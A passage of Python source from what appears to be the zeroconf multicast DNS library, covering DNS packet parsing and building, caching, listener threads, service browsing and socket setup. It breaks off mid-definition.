697 | domain, type_, class_, ttl, self.read_string(16)) 698 | else: 699 | # Try to ignore types we don't know about 700 | # Skip the payload for the resource record so the next 701 | # records can be parsed correctly 702 | self.offset += length 703 | 704 | if rec is not None: 705 | self.answers.append(rec) 706 | 707 | def is_query(self): 708 | """Returns true if this is a query""" 709 | return (self.flags & _FLAGS_QR_MASK) == _FLAGS_QR_QUERY 710 | 711 | def is_response(self): 712 | """Returns true if this is a response""" 713 | return (self.flags & _FLAGS_QR_MASK) == _FLAGS_QR_RESPONSE 714 | 715 | def read_utf(self, offset, length): 716 | """Reads a UTF-8 string of a given length from the packet""" 717 | return text_type(self.data[offset:offset + length], 'utf-8', 'replace') 718 | 719 | def read_name(self): 720 | """Reads a domain name from the packet""" 721 | result = '' 722 | off = self.offset 723 | next_ = -1 724 | first = off 725 | 726 | while True: 727 | length = indexbytes(self.data, off) 728 | off += 1 729 | if length == 0: 730 | break 731 | t = length & 0xC0 732 | if t == 0x00: 733 | result = ''.join((result, self.read_utf(off, length) + '.')) 734 | off += length 735 | elif t == 0xC0: 736 | if next_ < 0: 737 | next_ = off + 1 738 | off = ((length & 0x3F) << 8) | indexbytes(self.data, off) 739 | if off >= first: 740 | raise IncomingDecodeError( 741 | "Bad domain name (circular) at %s" % (off,)) 742 | first = off 743 | else: 744 | raise IncomingDecodeError("Bad domain name at %s" % (off,)) 745 | 746 | if next_ >= 0: 747 | self.offset = next_ 748 | else: 749 | self.offset = off 750 | 751 | return result 752 | 753 | 754 | class DNSOutgoing(object): 755 | 756 | """Object representation of an outgoing packet""" 757 | 758 | def __init__(self, flags, multicast=True): 759 | self.finished = False 760 | self.id = 0 761 | self.multicast = multicast 762 | self.flags = flags 763 | self.names = {} 764 | self.data = [] 765 | self.size = 12 766 | self.state = self.State.init 767 | 768 | self.questions = [] 769 | self.answers = [] 770 | self.authorities = [] 771 | self.additionals = [] 772 | 773 | def __repr__(self): 774 | return '' % ', '.join([ 775 | 'multicast=%s' % self.multicast, 776 | 'flags=%s' % self.flags, 777 | 'questions=%s' % self.questions, 778 | 'answers=%s' % self.answers, 779 | 'authorities=%s' % self.authorities, 780 | 'additionals=%s' % self.additionals, 781 | ]) 782 | 783 | class State(enum.Enum): 784 | init = 0 785 | finished = 1 786 | 787 | def add_question(self, record): 788 | """Adds a question""" 789 | self.questions.append(record) 790 | 791 | def add_answer(self, inp, record): 792 | """Adds an answer""" 793 | if not record.suppressed_by(inp): 794 | self.add_answer_at_time(record, 0) 795 | 796 | def add_answer_at_time(self, record, now): 797 | """Adds an answer if it does not expire by a certain time""" 798 | if record is not None: 799 | if now == 0 or not record.is_expired(now): 800 | self.answers.append((record, now)) 801 | 802 | def add_authorative_answer(self, record): 803 | """Adds an authoritative answer""" 804 | self.authorities.append(record) 805 | 806 | def add_additional_answer(self, record): 807 | """ Adds an additional answer 808 | 809 | From: RFC 6763, DNS-Based Service Discovery, February 2013 810 | 811 | 12. DNS Additional Record Generation 812 | 813 | DNS has an efficiency feature whereby a DNS server may place 814 | additional records in the additional section of the DNS message. 815 | These additional records are records that the client did not 816 | explicitly request, but the server has reasonable grounds to expect 817 | that the client might request them shortly, so including them can 818 | save the client from having to issue additional queries. 819 | 820 | This section recommends which additional records SHOULD be generated 821 | to improve network efficiency, for both Unicast and Multicast DNS-SD 822 | responses. 823 | 824 | 12.1. PTR Records 825 | 826 | When including a DNS-SD Service Instance Enumeration or Selective 827 | Instance Enumeration (subtype) PTR record in a response packet, the 828 | server/responder SHOULD include the following additional records: 829 | 830 | o The SRV record(s) named in the PTR rdata. 831 | o The TXT record(s) named in the PTR rdata. 832 | o All address records (type "A" and "AAAA") named in the SRV rdata. 833 | 834 | 12.2. SRV Records 835 | 836 | When including an SRV record in a response packet, the 837 | server/responder SHOULD include the following additional records: 838 | 839 | o All address records (type "A" and "AAAA") named in the SRV rdata. 840 | 841 | """ 842 | self.additionals.append(record) 843 | 844 | def pack(self, format_, value): 845 | self.data.append(struct.pack(format_, value)) 846 | self.size += struct.calcsize(format_) 847 | 848 | def write_byte(self, value): 849 | """Writes a single byte to the packet""" 850 | self.pack(b'!c', int2byte(value)) 851 | 852 | def insert_short(self, index, value): 853 | """Inserts an unsigned short in a certain position in the packet""" 854 | self.data.insert(index, struct.pack(b'!H', value)) 855 | self.size += 2 856 | 857 | def write_short(self, value): 858 | """Writes an unsigned short to the packet""" 859 | self.pack(b'!H', value) 860 | 861 | def write_int(self, value): 862 | """Writes an unsigned integer to the packet""" 863 | self.pack(b'!I', int(value)) 864 | 865 | def write_string(self, value): 866 | """Writes a string to the packet""" 867 | assert isinstance(value, bytes) 868 | self.data.append(value) 869 | self.size += len(value) 870 | 871 | def write_utf(self, s): 872 | """Writes a UTF-8 string of a given length to the packet""" 873 | utfstr = s.encode('utf-8') 874 | length = len(utfstr) 875 | if length > 64: 876 | raise NamePartTooLongException 877 | self.write_byte(length) 878 | self.write_string(utfstr) 879 | 880 | def write_character_string(self, value): 881 | assert isinstance(value, bytes) 882 | length = len(value) 883 | if length > 256: 884 | raise NamePartTooLongException 885 | self.write_byte(length) 886 | self.write_string(value) 887 | 888 | def write_name(self, name): 889 | """ 890 | Write names to packet 891 | 892 | 18.14. Name Compression 893 | 894 | When generating Multicast DNS messages, implementations SHOULD use 895 | name compression wherever possible to compress the names of resource 896 | records, by replacing some or all of the resource record name with a 897 | compact two-byte reference to an appearance of that data somewhere 898 | earlier in the message [RFC1035]. 899 | """ 900 | 901 | # split name into each label 902 | parts = name.split('.') 903 | if not parts[-1]: 904 | parts.pop() 905 | 906 | # construct each suffix 907 | name_suffices = ['.'.join(parts[i:]) for i in range(len(parts))] 908 | 909 | # look for an existing name or suffix 910 | for count, sub_name in enumerate(name_suffices): 911 | if sub_name in self.names: 912 | break 913 | else: 914 | count += 1 915 | 916 | # note the new names we are saving into the packet 917 | for suffix in name_suffices[:count]: 918 | self.names[suffix] = self.size + len(name) - len(suffix) - 1 919 | 920 | # write the new names out. 921 | for part in parts[:count]: 922 | self.write_utf(part) 923 | 924 | # if we wrote part of the name, create a pointer to the rest 925 | if count != len(name_suffices): 926 | # Found substring in packet, create pointer 927 | index = self.names[name_suffices[count]] 928 | self.write_byte((index >> 8) | 0xC0) 929 | self.write_byte(index & 0xFF) 930 | else: 931 | # this is the end of a name 932 | self.write_byte(0) 933 | 934 | def write_question(self, question): 935 | """Writes a question to the packet""" 936 | self.write_name(question.name) 937 | self.write_short(question.type) 938 | self.write_short(question.class_) 939 | 940 | def write_record(self, record, now): 941 | """Writes a record (answer, authoritative answer, additional) to 942 | the packet""" 943 | if self.state == self.State.finished: 944 | return 1 945 | 946 | start_data_length, start_size = len(self.data), self.size 947 | self.write_name(record.name) 948 | self.write_short(record.type) 949 | if record.unique and self.multicast: 950 | self.write_short(record.class_ | _CLASS_UNIQUE) 951 | else: 952 | self.write_short(record.class_) 953 | if now == 0: 954 | self.write_int(record.ttl) 955 | else: 956 | self.write_int(record.get_remaining_ttl(now)) 957 | index = len(self.data) 958 | 959 | # Adjust size for the short we will write before this record 960 | self.size += 2 961 | record.write(self) 962 | self.size -= 2 963 | 964 | length = sum((len(d) for d in self.data[index:])) 965 | # Here is the short we adjusted for 966 | self.insert_short(index, length) 967 | 968 | # if we go over, then rollback and quit 969 | if self.size > _MAX_MSG_ABSOLUTE: 970 | while len(self.data) > start_data_length: 971 | self.data.pop() 972 | self.size = start_size 973 | self.state = self.State.finished 974 | return 1 975 | return 0 976 | 977 | def packet(self): 978 | """Returns a string containing the packet's bytes 979 | 980 | No further parts should be added to the packet once this 981 | is done.""" 982 | 983 | overrun_answers, overrun_authorities, overrun_additionals = 0, 0, 0 984 | 985 | if self.state != self.State.finished: 986 | for question in self.questions: 987 | self.write_question(question) 988 | for answer, time_ in self.answers: 989 | overrun_answers += self.write_record(answer, time_) 990 | for authority in self.authorities: 991 | overrun_authorities += self.write_record(authority, 0) 992 | for additional in self.additionals: 993 | overrun_additionals += self.write_record(additional, 0) 994 | self.state = self.State.finished 995 | 996 | self.insert_short(0, len(self.additionals) - overrun_additionals) 997 | self.insert_short(0, len(self.authorities) - overrun_authorities) 998 | self.insert_short(0, len(self.answers) - overrun_answers) 999 | self.insert_short(0, len(self.questions)) 1000 | self.insert_short(0, self.flags) 1001 | if self.multicast: 1002 | self.insert_short(0, 0) 1003 | else: 1004 | self.insert_short(0, self.id) 1005 | return b''.join(self.data) 1006 | 1007 | 1008 | class DNSCache(object): 1009 | 1010 | """A cache of DNS entries""" 1011 | 1012 | def __init__(self): 1013 | self.cache = {} 1014 | 1015 | def add(self, entry): 1016 | """Adds an entry""" 1017 | self.cache.setdefault(entry.key, []).append(entry) 1018 | 1019 | def remove(self, entry): 1020 | """Removes an entry""" 1021 | try: 1022 | list_ = self.cache[entry.key] 1023 | list_.remove(entry) 1024 | except (KeyError, ValueError): 1025 | pass 1026 | 1027 | def get(self, entry): 1028 | """Gets an entry by key. Will return None if there is no 1029 | matching entry.""" 1030 | try: 1031 | list_ = self.cache[entry.key] 1032 | for cached_entry in list_: 1033 | if entry.__eq__(cached_entry): 1034 | return cached_entry 1035 | except (KeyError, ValueError): 1036 | return None 1037 | 1038 | def get_by_details(self, name, type_, class_): 1039 | """Gets an entry by details. Will return None if there is 1040 | no matching entry.""" 1041 | entry = DNSEntry(name, type_, class_) 1042 | return self.get(entry) 1043 | 1044 | def entries_with_name(self, name): 1045 | """Returns a list of entries whose key matches the name.""" 1046 | try: 1047 | return self.cache[name.lower()] 1048 | except KeyError: 1049 | return [] 1050 | 1051 | def current_entry_with_name_and_alias(self, name, alias): 1052 | now = current_time_millis() 1053 | for record in self.entries_with_name(name): 1054 | if (record.type == _TYPE_PTR and 1055 | not record.is_expired(now) and 1056 | record.alias == alias): 1057 | return record 1058 | 1059 | def entries(self): 1060 | """Returns a list of all entries""" 1061 | if not self.cache: 1062 | return [] 1063 | else: 1064 | # avoid size change during iteration by copying the cache 1065 | values = list(self.cache.values()) 1066 | return reduce(lambda a, b: a + b, values) 1067 | 1068 | 1069 | class Engine(threading.Thread): 1070 | 1071 | """An engine wraps read access to sockets, allowing objects that 1072 | need to receive data from sockets to be called back when the 1073 | sockets are ready. 1074 | 1075 | A reader needs a handle_read() method, which is called when the socket 1076 | it is interested in is ready for reading. 1077 | 1078 | Writers are not implemented here, because we only send short 1079 | packets. 1080 | """ 1081 | 1082 | def __init__(self, zc): 1083 | threading.Thread.__init__(self, name='zeroconf-Engine') 1084 | self.daemon = True 1085 | self.zc = zc 1086 | self.readers = {} # maps socket to reader 1087 | self.timeout = 5 1088 | self.condition = threading.Condition() 1089 | self.start() 1090 | 1091 | def run(self): 1092 | while not self.zc.done: 1093 | with self.condition: 1094 | rs = self.readers.keys() 1095 | if len(rs) == 0: 1096 | # No sockets to manage, but we wait for the timeout 1097 | # or addition of a socket 1098 | self.condition.wait(self.timeout) 1099 | 1100 | if len(rs) != 0: 1101 | try: 1102 | rr, wr, er = select.select(rs, [], [], self.timeout) 1103 | if not self.zc.done: 1104 | for socket_ in rr: 1105 | reader = self.readers.get(socket_) 1106 | if reader: 1107 | reader.handle_read(socket_) 1108 | 1109 | except (select.error, socket.error) as e: 1110 | # If the socket was closed by another thread, during 1111 | # shutdown, ignore it and exit 1112 | if e.args[0] != socket.EBADF or not self.zc.done: 1113 | raise 1114 | 1115 | def add_reader(self, reader, socket_): 1116 | with self.condition: 1117 | self.readers[socket_] = reader 1118 | self.condition.notify() 1119 | 1120 | def del_reader(self, socket_): 1121 | with self.condition: 1122 | del self.readers[socket_] 1123 | self.condition.notify() 1124 | 1125 | 1126 | class Listener(QuietLogger): 1127 | 1128 | """A Listener is used by this module to listen on the multicast 1129 | group to which DNS messages are sent, allowing the implementation 1130 | to cache information as it arrives. 1131 | 1132 | It requires registration with an Engine object in order to have 1133 | the read() method called when a socket is available for reading.""" 1134 | 1135 | def __init__(self, zc): 1136 | self.zc = zc 1137 | self.data = None 1138 | 1139 | def handle_read(self, socket_): 1140 | try: 1141 | data, (addr, port) = socket_.recvfrom(_MAX_MSG_ABSOLUTE) 1142 | except Exception: 1143 | self.log_exception_warning() 1144 | return 1145 | 1146 | log.debug('Received from %r:%r: %r ', addr, port, data) 1147 | 1148 | self.data = data 1149 | msg = DNSIncoming(data) 1150 | if not msg.valid: 1151 | pass 1152 | 1153 | elif msg.is_query(): 1154 | # Always multicast responses 1155 | if port == _MDNS_PORT: 1156 | self.zc.handle_query(msg, _MDNS_ADDR, _MDNS_PORT) 1157 | 1158 | # If it's not a multicast query, reply via unicast 1159 | # and multicast 1160 | elif port == _DNS_PORT: 1161 | self.zc.handle_query(msg, addr, port) 1162 | self.zc.handle_query(msg, _MDNS_ADDR, _MDNS_PORT) 1163 | 1164 | else: 1165 | self.zc.handle_response(msg) 1166 | 1167 | 1168 | class Reaper(threading.Thread): 1169 | 1170 | """A Reaper is used by this module to remove cache entries that 1171 | have expired.""" 1172 | 1173 | def __init__(self, zc): 1174 | threading.Thread.__init__(self, name='zeroconf-Reaper') 1175 | self.daemon = True 1176 | self.zc = zc 1177 | self.start() 1178 | 1179 | def run(self): 1180 | while True: 1181 | self.zc.wait(10 * 1000) 1182 | if self.zc.done: 1183 | return 1184 | now = current_time_millis() 1185 | for record in self.zc.cache.entries(): 1186 | if record.is_expired(now): 1187 | self.zc.update_record(now, record) 1188 | self.zc.cache.remove(record) 1189 | 1190 | 1191 | class Signal(object): 1192 | def __init__(self): 1193 | self._handlers = [] 1194 | 1195 | def fire(self, **kwargs): 1196 | for h in list(self._handlers): 1197 | h(**kwargs) 1198 | 1199 | @property 1200 | def registration_interface(self): 1201 | return SignalRegistrationInterface(self._handlers) 1202 | 1203 | 1204 | class SignalRegistrationInterface(object): 1205 | 1206 | def __init__(self, handlers): 1207 | self._handlers = handlers 1208 | 1209 | def register_handler(self, handler): 1210 | self._handlers.append(handler) 1211 | return self 1212 | 1213 | def unregister_handler(self, handler): 1214 | self._handlers.remove(handler) 1215 | return self 1216 | 1217 | 1218 | class ServiceBrowser(threading.Thread): 1219 | 1220 | """Used to browse for a service of a specific type. 1221 | 1222 | The listener object will have its add_service() and 1223 | remove_service() methods called when this browser 1224 | discovers changes in the services availability.""" 1225 | 1226 | def __init__(self, zc, type_, handlers=None, listener=None): 1227 | """Creates a browser for a specific type""" 1228 | assert handlers or listener, 'You need to specify at least one handler' 1229 | if not type_.endswith(service_type_name(type_)): 1230 | raise BadTypeInNameException 1231 | threading.Thread.__init__( 1232 | self, name='zeroconf-ServiceBrowser_' + type_) 1233 | self.daemon = True 1234 | self.zc = zc 1235 | self.type = type_ 1236 | self.services = {} 1237 | self.next_time = current_time_millis() 1238 | self.delay = _BROWSER_TIME 1239 | self._handlers_to_call = [] 1240 | 1241 | self._service_state_changed = Signal() 1242 | 1243 | self.done = False 1244 | 1245 | if hasattr(handlers, 'add_service'): 1246 | listener = handlers 1247 | handlers = None 1248 | 1249 | handlers = handlers or [] 1250 | 1251 | if listener: 1252 | def on_change(zeroconf, service_type, name, state_change): 1253 | args = (zeroconf, service_type, name) 1254 | if state_change is ServiceStateChange.Added: 1255 | listener.add_service(*args) 1256 | elif state_change is ServiceStateChange.Removed: 1257 | listener.remove_service(*args) 1258 | else: 1259 | raise NotImplementedError(state_change) 1260 | handlers.append(on_change) 1261 | 1262 | for h in handlers: 1263 | self.service_state_changed.register_handler(h) 1264 | 1265 | self.start() 1266 | 1267 | @property 1268 | def service_state_changed(self): 1269 | return self._service_state_changed.registration_interface 1270 | 1271 | def update_record(self, zc, now, record): 1272 | """Callback invoked by Zeroconf when new information arrives. 1273 | 1274 | Updates information required by browser in the Zeroconf cache.""" 1275 | 1276 | def enqueue_callback(state_change, name): 1277 | self._handlers_to_call.append( 1278 | lambda zeroconf: self._service_state_changed.fire( 1279 | zeroconf=zeroconf, 1280 | service_type=self.type, 1281 | name=name, 1282 | state_change=state_change, 1283 | )) 1284 | 1285 | if record.type == _TYPE_PTR and record.name == self.type: 1286 | expired = record.is_expired(now) 1287 | service_key = record.alias.lower() 1288 | try: 1289 | old_record = self.services[service_key] 1290 | except KeyError: 1291 | if not expired: 1292 | self.services[service_key] = record 1293 | enqueue_callback(ServiceStateChange.Added, record.alias) 1294 | else: 1295 | if not expired: 1296 | old_record.reset_ttl(record) 1297 | else: 1298 | del self.services[service_key] 1299 | enqueue_callback(ServiceStateChange.Removed, record.alias) 1300 | return 1301 | 1302 | expires = record.get_expiration_time(75) 1303 | if expires < self.next_time: 1304 | self.next_time = expires 1305 | 1306 | def cancel(self): 1307 | self.done = True 1308 | self.zc.remove_listener(self) 1309 | self.join() 1310 | 1311 | def run(self): 1312 | self.zc.add_listener(self, DNSQuestion(self.type, _TYPE_PTR, _CLASS_IN)) 1313 | 1314 | while True: 1315 | now = current_time_millis() 1316 | if len(self._handlers_to_call) == 0 and self.next_time > now: 1317 | self.zc.wait(self.next_time - now) 1318 | if self.zc.done or self.done: 1319 | return 1320 | now = current_time_millis() 1321 | if self.next_time <= now: 1322 | out = DNSOutgoing(_FLAGS_QR_QUERY) 1323 | out.add_question(DNSQuestion(self.type, _TYPE_PTR, _CLASS_IN)) 1324 | for record in self.services.values(): 1325 | if not record.is_expired(now): 1326 | out.add_answer_at_time(record, now) 1327 | 1328 | self.zc.send(out) 1329 | self.next_time = now + self.delay 1330 | self.delay = min(20 * 1000, self.delay * 2) 1331 | 1332 | if len(self._handlers_to_call) > 0 and not self.zc.done: 1333 | handler = self._handlers_to_call.pop(0) 1334 | handler(self.zc) 1335 | 1336 | 1337 | class ServiceInfo(object): 1338 | 1339 | """Service information""" 1340 | 1341 | def __init__(self, type_, name, address=None, port=None, weight=0, 1342 | priority=0, properties=None, server=None): 1343 | """Create a service description. 1344 | 1345 | type_: fully qualified service type name 1346 | name: fully qualified service name 1347 | address: IP address as unsigned short, network byte order 1348 | port: port that the service runs on 1349 | weight: weight of the service 1350 | priority: priority of the service 1351 | properties: dictionary of properties (or a string holding the 1352 | bytes for the text field) 1353 | server: fully qualified name for service host (defaults to name)""" 1354 | 1355 | if not type_.endswith(service_type_name(name)): 1356 | raise BadTypeInNameException 1357 | self.type = type_ 1358 | self.name = name 1359 | self.address = address 1360 | self.port = port 1361 | self.weight = weight 1362 | self.priority = priority 1363 | if server: 1364 | self.server = server 1365 | else: 1366 | self.server = name 1367 | self._properties = {} 1368 | self._set_properties(properties) 1369 | 1370 | @property 1371 | def properties(self): 1372 | return self._properties 1373 | 1374 | def _set_properties(self, properties): 1375 | """Sets properties and text of this info from a dictionary""" 1376 | if isinstance(properties, dict): 1377 | self._properties = properties 1378 | list_ = [] 1379 | result = b'' 1380 | for key, value in iteritems(properties): 1381 | if isinstance(key, text_type): 1382 | key = key.encode('utf-8') 1383 | 1384 | if value is None: 1385 | suffix = b'' 1386 | elif isinstance(value, text_type): 1387 | suffix = value.encode('utf-8') 1388 | elif isinstance(value, binary_type): 1389 | suffix = value 1390 | elif isinstance(value, int): 1391 | if value: 1392 | suffix = b'true' 1393 | else: 1394 | suffix = b'false' 1395 | else: 1396 | suffix = b'' 1397 | list_.append(b'='.join((key, suffix))) 1398 | for item in list_: 1399 | result = b''.join((result, int2byte(len(item)), item)) 1400 | self.text = result 1401 | else: 1402 | self.text = properties 1403 | 1404 | def _set_text(self, text): 1405 | """Sets properties and text given a text field""" 1406 | self.text = text 1407 | result = {} 1408 | end = len(text) 1409 | index = 0 1410 | strs = [] 1411 | while index < end: 1412 | length = indexbytes(text, index) 1413 | index += 1 1414 | strs.append(text[index:index + length]) 1415 | index += length 1416 | 1417 | for s in strs: 1418 | parts = s.split(b'=', 1) 1419 | try: 1420 | key, value = parts 1421 | except ValueError: 1422 | # No equals sign at all 1423 | key = s 1424 | value = False 1425 | else: 1426 | if value == b'true': 1427 | value = True 1428 | elif value == b'false' or not value: 1429 | value = False 1430 | 1431 | # Only update non-existent properties 1432 | if key and result.get(key) is None: 1433 | result[key] = value 1434 | 1435 | self._properties = result 1436 | 1437 | def get_name(self): 1438 | """Name accessor""" 1439 | if self.type is not None and self.name.endswith("." + self.type): 1440 | return self.name[:len(self.name) - len(self.type) - 1] 1441 | return self.name 1442 | 1443 | def update_record(self, zc, now, record): 1444 | """Updates service information from a DNS record""" 1445 | if record is not None and not record.is_expired(now): 1446 | if record.type == _TYPE_A: 1447 | # if record.name == self.name: 1448 | if record.name == self.server: 1449 | self.address = record.address 1450 | elif record.type == _TYPE_SRV: 1451 | if record.name == self.name: 1452 | self.server = record.server 1453 | self.port = record.port 1454 | self.weight = record.weight 1455 | self.priority = record.priority 1456 | # self.address = None 1457 | self.update_record( 1458 | zc, now, zc.cache.get_by_details( 1459 | self.server, _TYPE_A, _CLASS_IN)) 1460 | elif record.type == _TYPE_TXT: 1461 | if record.name == self.name: 1462 | self._set_text(record.text) 1463 | 1464 | def request(self, zc, timeout): 1465 | """Returns true if the service could be discovered on the 1466 | network, and updates this object with details discovered. 1467 | """ 1468 | now = current_time_millis() 1469 | delay = _LISTENER_TIME 1470 | next_ = now + delay 1471 | last = now + timeout 1472 | 1473 | record_types_for_check_cache = [ 1474 | (_TYPE_SRV, _CLASS_IN), 1475 | (_TYPE_TXT, _CLASS_IN), 1476 | ] 1477 | if self.server is not None: 1478 | record_types_for_check_cache.append((_TYPE_A, _CLASS_IN)) 1479 | for record_type in record_types_for_check_cache: 1480 | cached = zc.cache.get_by_details(self.name, *record_type) 1481 | if cached: 1482 | self.update_record(zc, now, cached) 1483 | 1484 | if None not in (self.server, self.address, self.text): 1485 | return True 1486 | 1487 | try: 1488 | zc.add_listener(self, DNSQuestion(self.name, _TYPE_ANY, _CLASS_IN)) 1489 | while None in (self.server, self.address, self.text): 1490 | if last <= now: 1491 | return False 1492 | if next_ <= now: 1493 | out = DNSOutgoing(_FLAGS_QR_QUERY) 1494 | out.add_question( 1495 | DNSQuestion(self.name, _TYPE_SRV, _CLASS_IN)) 1496 | out.add_answer_at_time( 1497 | zc.cache.get_by_details( 1498 | self.name, _TYPE_SRV, _CLASS_IN), now) 1499 | 1500 | out.add_question( 1501 | DNSQuestion(self.name, _TYPE_TXT, _CLASS_IN)) 1502 | out.add_answer_at_time( 1503 | zc.cache.get_by_details( 1504 | self.name, _TYPE_TXT, _CLASS_IN), now) 1505 | 1506 | if self.server is not None: 1507 | out.add_question( 1508 | DNSQuestion(self.server, _TYPE_A, _CLASS_IN)) 1509 | out.add_answer_at_time( 1510 | zc.cache.get_by_details( 1511 | self.server, _TYPE_A, _CLASS_IN), now) 1512 | zc.send(out) 1513 | next_ = now + delay 1514 | delay *= 2 1515 | 1516 | zc.wait(min(next_, last) - now) 1517 | now = current_time_millis() 1518 | finally: 1519 | zc.remove_listener(self) 1520 | 1521 | return True 1522 | 1523 | def __eq__(self, other): 1524 | """Tests equality of service name""" 1525 | return isinstance(other, ServiceInfo) and other.name == self.name 1526 | 1527 | def __ne__(self, other): 1528 | """Non-equality test""" 1529 | return not self.__eq__(other) 1530 | 1531 | def __repr__(self): 1532 | """String representation""" 1533 | return '%s(%s)' % ( 1534 | type(self).__name__, 1535 | ', '.join( 1536 | '%s=%r' % (name, getattr(self, name)) 1537 | for name in ( 1538 | 'type', 'name', 'address', 'port', 'weight', 'priority', 1539 | 'server', 'properties', 1540 | ) 1541 | ) 1542 | ) 1543 | 1544 | 1545 | class ZeroconfServiceTypes(object): 1546 | """ 1547 | Return all of the advertised services on any local networks 1548 | """ 1549 | def __init__(self): 1550 | self.found_services = set() 1551 | 1552 | def add_service(self, zc, type_, name): 1553 | self.found_services.add(name) 1554 | 1555 | def remove_service(self, zc, type_, name): 1556 | pass 1557 | 1558 | @classmethod 1559 | def find(cls, zc=None, timeout=5, interfaces=InterfaceChoice.All): 1560 | """ 1561 | Return all of the advertised services on any local networks. 1562 | 1563 | :param zc: Zeroconf() instance. Pass in if already have an 1564 | instance running or if non-default interfaces are needed 1565 | :param timeout: seconds to wait for any responses 1566 | :return: tuple of service type strings 1567 | """ 1568 | local_zc = zc or Zeroconf(interfaces=interfaces) 1569 | listener = cls() 1570 | browser = ServiceBrowser( 1571 | local_zc, '_services._dns-sd._udp.local.', listener=listener) 1572 | 1573 | # wait for responses 1574 | time.sleep(timeout) 1575 | 1576 | # close down anything we opened 1577 | if zc is None: 1578 | local_zc.close() 1579 | else: 1580 | browser.cancel() 1581 | 1582 | return tuple(sorted(listener.found_services)) 1583 | 1584 | 1585 | def get_all_addresses(address_family): 1586 | return list(set( 1587 | addr['addr'] 1588 | for iface in netifaces.interfaces() 1589 | for addr in netifaces.ifaddresses(iface).get(address_family, []) 1590 | if addr.get('netmask') != HOST_ONLY_NETWORK_MASK 1591 | )) 1592 | 1593 | 1594 | def normalize_interface_choice(choice, address_family): 1595 | if choice is InterfaceChoice.Default: 1596 | choice = ['0.0.0.0'] 1597 | elif choice is InterfaceChoice.All: 1598 | choice = get_all_addresses(address_family) 1599 | return choice 1600 | 1601 | 1602 | def new_socket(): 1603 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 1604 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 1605 | 1606 | # SO_REUSEADDR should be equivalent to SO_REUSEPORT for 1607 | # multicast UDP sockets (p 731, "TCP/IP Illustrated, 1608 | # Volume 2"), but some BSD-derived systems require 1609 | # SO_REUSEPORT to be specified explicity. Also, not all 1610 | # versions of Python have SO_REUSEPORT available. 1611 | # Catch OSError and socket.error for kernel versions <3.9 because lacking 1612 | # SO_REUSEPORT support. 1613 | try: 1614 | reuseport = socket.SO_REUSEPORT 1615 | except AttributeError: 1616 | pass 1617 | else: 1618 | try: 1619 | s.setsockopt(socket.SOL_SOCKET, reuseport, 1) 1620 | except (OSError, socket.error) as err: 1621 | # OSError on python 3, socket.error on python 2 1622 | if not err.errno == errno.ENOPROTOOPT: 1623 | raise 1624 | 1625 | # OpenBSD needs the ttl and loop values for the IP_MULTICAST_TTL and 1626 | # IP_MULTICAST_LOOP socket options as an unsigned char. 1627 | ttl = struct.pack(b'B', 255) 1628 | s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) 1629 | loop = struct.pack(b'B', 1) 1630 | s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_LOOP, loop) 1631 | 1632 | s.bind(('', _MDNS_PORT)) 1633 | return s 1634 | 1635 | 1636 | def get_errno(e): 1637 | assert isinstance(e, socket.error) 1638 | return e.args[0] 1639 | 1640 | 1641 | class Zeroconf(QuietLogger): 1642 | 1643 | """Implementation of Zeroconf Multicast DNS Service Discovery 1644 | 1645 | Supports registration, unregistration, queries and browsing. 1646 | """ 1647 | 1648 | def __init__( 1649 | self, 1650 | interfaces=InterfaceChoice.All, 1651 | ): 1652 | """Creates an instance of the Zeroconf class, establishing 1653 | multicast communications, listening and reaping threads. 1654 | 1655 | :type interfaces: :class:`InterfaceChoice` or sequence of ip addresses 1656 | """ 1657 | # hook for threads 1658 | self._GLOBAL_DONE = False 1659 | 1660 | self._listen_socket = new_socket() 1661 | interfaces = normalize_interface_choice(interfaces, socket.AF_INET) 1662 | 1663 | self._respond_sockets = [] 1664 | 1665 | for i in interfaces: 1666 | log.debug('Adding %r to multicast group', i) 1667 | try: 1668 | self._listen_socket.setsockopt( 1669 | socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, 1670 | socket.inet_aton(_MDNS_ADDR) + socket.inet_aton(i)) 1671 | except socket.error as e: 1672 | if get_errno(e) == errno.EADDRINUSE: 1673 | log.info( 1674 | 'Address in use when adding %s to multicast group, ' 1675 | 'it is expected to happen on some systems', i, 1676 | ) 1677 | elif get_errno(e) == errno.EADDRNOTAVAIL: 1678 | log.info( 1679 | 'Address not available when adding %s to multicast ' 1680 | 'group, it is expected to happen on some systems', i, 1681 | ) 1682 | continue 1683 | else: 1684 | raise 1685 | 1686 | respond_socket = new_socket() 1687 | respond_socket.setsockopt( 1688 | socket.IPPROTO_IP, socket.IP_MULTICAST_IF, socket.inet_aton(i)) 1689 | 1690 | self._respond_sockets.append(respond_socket) 1691 | 1692 | self.listeners = [] 1693 | self.browsers = {} 1694 | self.services = {} 1695 | self.servicetypes = {} 1696 | 1697 | self.cache = DNSCache() 1698 | 1699 | self.condition = threading.Condition() 1700 | 1701 | self.engine = Engine(self) 1702 | self.listener = Listener(self) 1703 | self.engine.add_reader(self.listener, self._listen_socket) 1704 | self.reaper = Reaper(self) 1705 | 1706 | self.debug = None 1707 | 1708 | @property 1709 | def done(self): 1710 | return self._GLOBAL_DONE 1711 | 1712 | def wait(self, timeout): 1713 | """Calling thread waits for a given number of milliseconds or 1714 | until notified.""" 1715 | with self.condition: 1716 | self.condition.wait(timeout / 1000.0) 1717 | 1718 | def notify_all(self): 1719 | """Notifies all waiting threads""" 1720 | with self.condition: 1721 | self.condition.notify_all() 1722 | 1723 | def get_service_info(self, type_, name, timeout=3000): 1724 | """Returns network's service information for a particular 1725 | name and type, or None if no service matches by the timeout, 1726 | which defaults to 3 seconds.""" 1727 | info = ServiceInfo(type_, name) 1728 | if info.request(self, timeout): 1729 | return info 1730 | 1731 | def add_service_listener(self, type_, listener): 1732 | """Adds a listener for a particular service type. This object 1733 | will then have its update_record method called when information 1734 | arrives for that type.""" 1735 | self.remove_service_listener(listener) 1736 | self.browsers[listener] = ServiceBrowser(self, type_, listener) 1737 | 1738 | def remove_service_listener(self, listener): 1739 | """Removes a listener from the set that is currently listening.""" 1740 | if listener in self.browsers: 1741 | self.browsers[listener].cancel() 1742 | del self.browsers[listener] 1743 | 1744 | def remove_all_service_listeners(self): 1745 | """Removes a listener from the set that is currently listening.""" 1746 | for listener in [k for k in self.browsers]: 1747 | self.remove_service_listener(listener) 1748 | 1749 | def 